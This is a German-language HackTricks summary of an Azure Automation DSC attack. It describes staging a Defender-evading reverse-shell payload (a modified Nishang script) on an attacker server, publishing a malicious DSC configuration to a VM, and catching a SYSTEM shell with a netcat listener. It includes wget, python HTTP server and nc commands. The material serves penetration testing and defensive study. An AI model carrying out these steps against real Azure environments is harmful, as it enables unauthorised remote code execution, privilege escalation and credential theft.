Az - State Configuration RCE

Unterstützen Sie HackTricks

Überprüfen Sie den vollständigen Beitrag unter: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

Zusammenfassung der Vorbereitung und Schritte für die Remote-Server (C2)-Infrastruktur

Überblick

Der Prozess beinhaltet die Einrichtung einer Remote-Server-Infrastruktur, um ein modifiziertes Nishang Invoke-PowerShellTcp.ps1 Payload namens RevPS.ps1 zu hosten, der entwickelt wurde, um Windows Defender zu umgehen. Der Payload wird von einer Kali Linux-Maschine mit der IP 40.84.7.74 über einen einfachen Python-HTTP-Server bereitgestellt. Die Operation wird in mehreren Schritten ausgeführt:

Schritt 1 — Dateien erstellen

  • Benötigte Dateien: Zwei PowerShell-Skripte werden benötigt:

  1. reverse_shell_config.ps1: Eine Desired State Configuration (DSC)-Datei, die den Payload abruft und ausführt. Sie ist von GitHub erhältlich.

  2. push_reverse_shell_config.ps1: Ein Skript zum Veröffentlichen der Konfiguration auf der VM, verfügbar auf GitHub.

  • Anpassung: Variablen und Parameter in diesen Dateien müssen an die spezifische Umgebung des Benutzers angepasst werden, einschließlich Ressourcennamen, Dateipfade und Server/Payload-Identifikatoren.

Schritt 2 — Konfigurationsdatei zippen

  • Die reverse_shell_config.ps1 wird in eine .zip-Datei komprimiert, um sie für die Übertragung auf das Azure Storage-Konto vorzubereiten.

Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip

Schritt 3 — Setzen des Speicherkontexts & Hochladen

  • Die komprimierte Konfigurationsdatei wird mithilfe des Azure-Befehls "Set-AzStorageBlobContent" in einen vordefinierten Azure-Speichercontainer, azure-pentest, hochgeladen.

Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx

Schritt 4 — Vorbereitung des Kali-Box

  • Der Kali-Server lädt das RevPS.ps1-Payload von einem GitHub-Repository herunter.

wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
  • Das Skript wird bearbeitet, um die Ziel-Windows-VM und den Port für die Reverse-Shell anzugeben.

Schritt 5 — Konfigurationsdatei veröffentlichen

  • Die Konfigurationsdatei wird ausgeführt, was dazu führt, dass das Reverse-Shell-Skript an den angegebenen Speicherort auf der Windows-VM bereitgestellt wird.

Schritt 6 — Payload hosten und Listener einrichten

  • Ein Python SimpleHTTPServer wird gestartet, um den Payload zu hosten, zusammen mit einem Netcat-Listener zum Erfassen eingehender Verbindungen.

sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
  • Die geplante Aufgabe führt das Payload aus und erlangt SYSTEM-Level-Berechtigungen.

Fazit

Die erfolgreiche Ausführung dieses Prozesses eröffnet zahlreiche Möglichkeiten für weitere Aktionen, wie z.B. das Dumpen von Anmeldeinformationen oder die Ausweitung des Angriffs auf mehrere VMs. Der Leitfaden ermutigt zum kontinuierlichen Lernen und zur Kreativität im Bereich der Azure Automation DSC.

Last updated